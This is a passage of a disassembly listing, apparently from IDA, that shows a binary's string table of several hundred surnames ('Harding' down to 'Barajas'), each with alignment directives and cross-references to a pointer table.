aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
